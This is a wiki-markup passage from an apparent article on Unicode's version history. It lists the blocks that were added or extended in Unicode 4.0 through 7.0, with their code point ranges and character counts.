* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357 and U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF and U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F and U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01 and U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C and U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35 and U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD and U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691 and U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D and U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF and U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427 and U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''' (U+0750-U+077F), containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''' (U+1380-U+139F), containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''' (U+1980-U+19DF), containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''' (U+1A00-U+1A1F), containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''' (U+1D80-U+1DBF), containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''' (U+1DC0-U+1DFF), containing 4 additional diacritics, was added.
* '''Glagolitic''' (U+2C00-U+2C5F), containing 94 characters for the Glagolitic script, was added.
* '''Coptic''' (U+2C80-U+2CFF), containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''' (U+2D00-U+2D2F), containing 38 Nuskhuri letters, was added.
* '''Tifinagh''' (U+2D30-U+2D7F), containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''' (U+2D80-U+2DDF), containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''' (U+2E00-U+2E7F), containing 26 additional punctuation marks, was added.
* '''CJK Strokes''' (U+31C0-U+31CF), containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''' (U+A700-U+A71F), containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''' (U+A800-U+A82F), containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''' (U+FE10-U+FE1F), containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''' (U+10140-U+1018F), containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''' (U+103A0-U+103DF), containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''' (U+10A00-U+10A5F), containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''' (U+1D200-U+1D24F), containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''. (U+0237-U+0241)
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''. (U+0358-U+035C)
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''. (U+03FC-U+03FF)
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''. (U+04F6-U+04F7)
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''. (U+05A2 and U+05C5-U+05C7)
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''. (U+060B, U+061E, and U+0659-U+065E)
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''. (U+097D)
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''. (U+09CE)
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''. (U+0BB6 and U+0BE6)
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''. (U+0FD0-U+0FD1)
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''. (U+10F9-U+10FA and  U+10FC)
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''. (U+1207, U+1247, U+1287, U+12AF, U+12CF, U+12EF, U+130F, U+131F, U+1347, U+135F, and U+1360)
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''. (U+1D6C-U+1D7F)
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''. (U+2055-U+2056 and U+2058-U+205E)
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''. (U+2090-U+2094)
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''. (U+20B2-U+20B5)
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20EB)
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''. (U+213C and U+214C)
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23D1-U+23DB)
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''. (U+2618, U+267E-U+267F, U+2692-U+269C, and U+26A2-U+26B1)
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C0-U+27C6)
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B0E-U+2B1D)
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+327E)
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''. (U+9FA6-U+9FBB)
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA70-U+FAD9)
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''. (U+1D6A4-U+1D6A5)

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''' (U+07C0-U+07FF), containing 59 characters for the N'Ko script, was added.
* '''Balinese''' (U+1B00-U+1B7F), containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''' (U+2C60-U+2C7F), containing 17 letters for various languages, was added.
* '''Latin Extended-D''' (U+A720-U+A7FF), containing 2 characters for UPA, was added.
* '''Phags-pa''' (U+A840-U+A87F), containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''' (U+10900-U+1091F), containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''' (U+12000-U+123FF), containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''' (U+12400-U+1247F), containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''' (U+1D360-U+1D37F), containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''. (U+0242-U+024F)
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''. (U+037B-U+037D)
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''. (U+04CF and U+04FA-U+04FF)
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''. (U+0510-U+0513)
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''. (U+05BA)
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''. (U+097B-U+097C and U+097E-U+097F)
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''. (U+0CE2-U+0CE3 and U+0CF1-U+0CF2)
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DC4-U+1DCA)
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20EC-U+20EF)
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''. (U+214D-U+214E)
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''. (U+2184)
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''. (U+23DC-U+23E7)
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''. (U+26B2)
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C7-U+27CA)
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B14-U+2B1A and U+2B20-U+2B23)
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''. (U+A717-U+A71A)
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D7CA-U+1D7CB)

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
